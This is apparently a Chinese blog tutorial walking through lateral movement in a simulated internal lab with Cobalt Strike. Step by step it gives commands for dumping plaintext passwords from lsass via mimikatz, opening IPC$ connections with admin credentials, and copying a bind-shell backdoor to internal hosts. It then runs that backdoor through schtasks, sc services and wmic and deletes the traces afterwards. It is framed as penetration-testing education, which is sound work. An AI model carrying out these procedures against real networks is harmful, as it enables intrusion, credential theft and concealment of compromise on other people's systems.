• CS内网横向移动 模拟渗透实操 超详细

    @Webkio

    前言：

    最近在跟朋友搞一些项目玩，所以最近没怎么更新内容
    接下来我将在虚拟中模拟内网多层靶场，进行内网渗透实验，超详细，适合小白。
    本文仅供网安学习，不可利用于未授权渗透工作中，否则后果自负。码字截图不易，转载记得署名。

    微信关注公众号: JiuZhouSec 不定期更新渗透干货，适合小白学习。九州大地，一起Dayday UP!
    image.png

    模拟内网靶场 进行内网实验 我将从以下几点简述：
    【上线边界机器】-【内网渗透】-【横向移动】-【痕迹清除】
    实验码字不易，转载文章请署名

    实验对象

    这边基于之前的文章 对内网网络拓扑进行了新的配置：
    工作站：Vmware workstation；Cobalt Strike 4.3
    VPS:141.164.40.209
    PC1 边界机器:192.168.18.100[NAT]；192.168.19.140[仅主机]
    PC2 内网机器:192.168.19.142[仅主机 不出网] 192.168.20.129[仅主机 不出网]
    PC3 内网机器:192.168.20.128[仅主机 不出网]
    操作环境：Windows server 2008 R2 sp1
    image.png
    实验环境须知：无杀软 无拦截
    此篇文章仅供 内网模拟攻击 参考。黑客攻击手法通常是建立在免杀绕过的方法上，渗透测试本身就是“逆天而行”的事情。模拟靶机，是为了更直观的发现内网的薄弱点，深化网安价值。


    IPC连接简述（445端口共享链接）

    IPC 共享命名管道，连接445端口，提供账户密码后，可以进行默认文件共享及资源管理
    139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。

    利用前提条件：
    1. 开放139 445（SMB） 端口 （默认）
    2. 目标开启 IPC 共享服务 （默认）
    3. 要有管理员账户密码 （默认）

    利用方法：

    内置工具：IPC+schtasks（写计划任务上线beacon）

    schtasks是Windows的网络计划任务
    这边利用PC1与PC2简历的IPC连接 写计划任务上线内网机器PC2
    利用Windows内置工具是可以尽量绕过杀软，服务查杀的一种手法，仅供参考。

    1. 让PC1 边界机器上线

    CS建立监听器
    image.png

    2. 生成一个后门 并利用漏洞上传至边界机器PC1 并运行

    image.png
    image.png
    image.png

    3. 观察CS视图表 PC1边界机器上线

    image.png

    4. 获取beacon后 进入 并刷新会话时间 ---> sleep 0
    5. 这里可以上传Fscan、或者利用CS 内置工具进行内网端口扫描操作

    image.png

    6. 这边对192.168.19.0网段下139，445进行端口扫描

    image.png

    7. 这里通过端口进行了端口存活探测 192.168.19.143的139 445开启

    image.png

    8. 尝试获取目标边界机器的明文密码 （这一步能获取的到就获取 该实验均是在上帝视角下进行）

    部分运维人员的边界机器与内网机器为了便于使用 登入密码可能都是同一个密码
    image.png

    9. 利用边界机器PC1 建立与 PC2 192.168.19.143的IPC连接

    • shell net use \192.168.19.143 /user:administrator "admin@123"

    image.png

    • 查看已经建立的连接

    image.png

    在模拟环境下 PC2是不出网的 对于不出网的机器 我们可以采取正向shell的方式获取shell

    10. 在CS上创建正向监听，创建一个后门通过PC1与PC2建立的IPC连接上传后门程序并执行

    上传前的PC2 机器目录下的文件内容：shell dir \192.168.19.143\c$
    image.png
    创建正向监听器： 这边指定的端口 要记好 7228
    image.png
    建立一个无状态的windows后门程序
    image.png
    image.png

    11. 将在攻击机（本机）上利用CS创建的正向后门上传至PC1

    image.png

    12. 由IPC连接 通过PC1 上传文件至PC2 C盘下

    shell dir
    image.png
    shell copy bind.exe \192.168.19.143\c$
    image.png
    image.png

    13. 写schtasks 计划任务 执行bind.exe 创建计划任务

    shell schtasks /create /s 192.168.19.143 /sc MINUTE /tn test /tr "C:\bind.exe"
    shell schtasks /create 192.168.19.143 /sc MINUTE /tn test /tr "C:\bind.exe"
    指令剖析：
    schtasks -指定schtask方法
    /create -创建
    /s -system权限
    /sc -指定创建的类型
    /tn -指定计划任务名
    /tr -需要运行的程序或命令
    /mo -指定程序或命令执行的时间间隔，单位为分钟
    image.png
    因为是正向shell 需要攻击机连接靶机 这里只有PC1可以与PC2建立交互 故在PC1的beacon中建立与PC2的连接 执行如下:
    connect 192.168.19.143 7228
    image.png
    PC2成功上线 这里一个小细节 图标后的链接图标 即代表PC2是通过PC1建立的连接
    image.png
    进入beacon
    image.png
    这里我们可以看到在PC2 【192.168.19.143】这台主机下 还有一张192.168.20.132的网卡 我们可以利用以上第五步介绍的方法进行端口探测 再尝试利用PC2建立与PC3的IPC连接 通过PC2使PC3上线

    提供步骤思路【就不截图了 码字有点手酸】：

    • 判断PC3是否出网 端口扫描139，445端口是否开启
    • 利用漏洞或其它方法获取管理员账户密码，或尝试利用边界机器PC1的密码，前面有说过概念。
    • 建立PC2与PC3的IPC连接，打通机与机的联系。
    • 利用CS或其它手法【webshell管理工具】在PC2文件管理中上传前面创建的正向后门或重新创建一个新的后门程序。
    • 通过PC2上传后门
    • 写schtasks计划任务，相关指令在上面，认真看的应该在实操了吧。
    • PC2连接PC3，connect [target_ip] 等待上线至CS
    • 打到PC3后还可以继续端口扫描 查看网卡配置信息
    • 横向移动结束。

    14. 痕迹清除 删除计划任务

    这边创建的计划任务名是什么要记好哦 /tn 指定计划名 删错了就GG了
    schtasks /delete /s 192.168.19.143 /tn test /f

    内置工具：IPC+SC（services.msc服务控制器）

    通过Windows服务的管理策略，创建新的服务，执行后门程序

    1. 内网渗透的第一步 永远是先利用漏洞让能出网的边界机器 这里是让PC1【192.168.19.140】上线CS

    image.png

    1. 通过端口扫描 探测存活IP 是否开启139或445端口 这是建立IPC连接的前提

    image.png

    1. logonpasswords 获取明文密码

    这边CS中的 logonpasswords 是通过访问本地安全认证子系统服务进程“lsass.exe”获取明文密码
    logonpasswords的技术 通过调用 "mimikatz"实现
    image.png
    image.png

    1. 建立IPC连接

    shell net use \192.168.19.142 /user:Administrator "admin@123"
    image.png

    1. 通过CS的文件管理器上传正向shell至边界机器

    image.png

    1. 将bind.exe 通过PC1上传至PC2中去

    image.png

    1. 利用IPC连接 在PC1上为PC2 创建一个服务

    shell sc \192.168.19.142 create kiotest binpath= 'C:\bind.exe'
    image.png
    这边需要注意一点 SC等于号"=" 和 "值"之间要有空格 这边好像是CS4.3版本的一个小bug
    可以详见截图的细节。

    这边观察PC2 kiotest这个进程已在不出网的PC2服务策略中生成
    image.png

    这里通过sc qc [服务名] 可以查看对应服务的详细信息
    shell sc \192.168.19.142 qc kiotest
    image.png

    1. 这边创建的服务需要手动开启 如下：

    shell sc \192.168.19.142 kiotest
    启动192.168.19.142的kiotest 服务，其实就是让服务去寻找C盘下的bind.exe并启动
    image.png
    这里因为是 图文表述 具体效果 我们可以反复实验以 证明通过IPC连接去创建服务-启动服务的一个过程。
    image.png

    1. bind.exe成功运行后 通过PC1连接PC2 上线

    connect 192.168.19.142 7228
    生成的正向shell 和 反弹shell的端口都要做个记录哦 因为这里的实验都是上帝视角，正常来说我们是不能直接看PC2的图形化界面的。如果忘了端口 不就白打了吗
    image.png
    image.png
    image.png
    细心的人应该发现了 上线的是一个192.168.20.0网段的机器。说明该网段下可能还存有PC3、PC4等等。
    这里类似于IPC+schtasks的方法 层层递进的进行攻击就好了，思路在上面也能看到

    1. 最后 痕迹清除

    shell sc \192.168.19.142 delete [服务名]

    image.png

    image.png

    内置工具：IPC+WMIC

    WMIC是Windows的远程管理控制器，通过远程管理目标机器，可以直接在目标中进行一些操作
    wmic和cmd一样在所有的windows版本中都存在，同时wmic有很多cmd下不方便使用的部分

    这边wmic的方法同上 大同小异 方法多多益善

    1. 同样让边界机器先上线，对边界机器进行内网信息收集，存活探测、配置信息收集、凭据信息等
    2. 通过凭据信息、存活探测 系统配置 利用边界机器建立与PC2机器的IPC连接
    3. 建立完IPC连接之后 我们可以利用wmic查询远程机器的进程信息

    shell wmic /node:192.168.19.142 process list brief
    image.png
    小技巧：wmic执行一些命令是没有回显结果的 我们可以通过将执行命令的结果写入文件 再查看
    shell wmic /node:192.168.19.142 process call create "cmd.exe /c ipconfig > C:\result.txt"
    image.png
    shell type \192.168.19.142\c$\result.txt
    image.png
    生成image.png

    1. 通过边界机器 创建正向后门并上传至靶机（PC2）

    监听
    image.png
    后门
    image.png
    上传语法：shell copy bind.exe \192.168.19.142\c$
    当前目录下进行上传“bind.exe” 至 靶机的C盘下

    1. 通过wmic执行后门 并连接 上线PC2

    执行：
    shell wmic /node:192.168.19.142 process call create "C:bind.exe"
    image.png
    连接上线：
    connect 192.168.19.142 7228
    image.png

    1. 痕迹清除 结束进程 并 删除执行程序
      利用PC2的beacon结束进程 , 即断开
      利用IPC连接删除执行程序
      shell del \192.168.19.142\C$\bind.exe

    以下简单的介绍两种不常用的内置工具 winrs和WinRM 用法同上三种大同小异

    内置工具：winrs（域）

    要求：目标机器 5985端口打开，如果没有开，可以手动开启（在渗透测试中不常用）
    靶机手动开启 winrm quickconfing -q 【！ 网络状态是家庭网络 或 工作网络 才能打开】

    内置工具：WinRM( 域 两台机器5985端口都要打开)

    在靶机手动开启 winrm quickconfing -q
    这两种同是在边界机器沦陷的基础下，进行存活探测，建立IPC连接等，去进行横向移动渗透测试的操作。

    过几天整理一篇外部工具的利用。如有错误不足，劳纠正，互相学习，共建网安！

  • 相关阅读:
    推荐一个日历转换开源工具库，支持C#、Java、PHP等主流的语言
    智能指针的理解
    二、thymeleaf与javaweb的集成
    C++ 性能优化指南 KurtGuntheroth 第1章 优化概述
    【CSS】background怎么设置多个背景图
    替代STM32的GD32，替代KEIL的Eclipse配置---连载3
    Android程序设计之音乐播放器实现
    SpringCloudAlibaba分布式流量控制组件Sentinel实战与源码分析-中
    复杂环境下多移动机器人路径规划研究附Matlab代码
    windows下app爬虫环境搭建：python + fiddler + Appium + 夜神模拟器
  • 原文地址：https://www.cnblogs.com/Webkio/p/16534828.html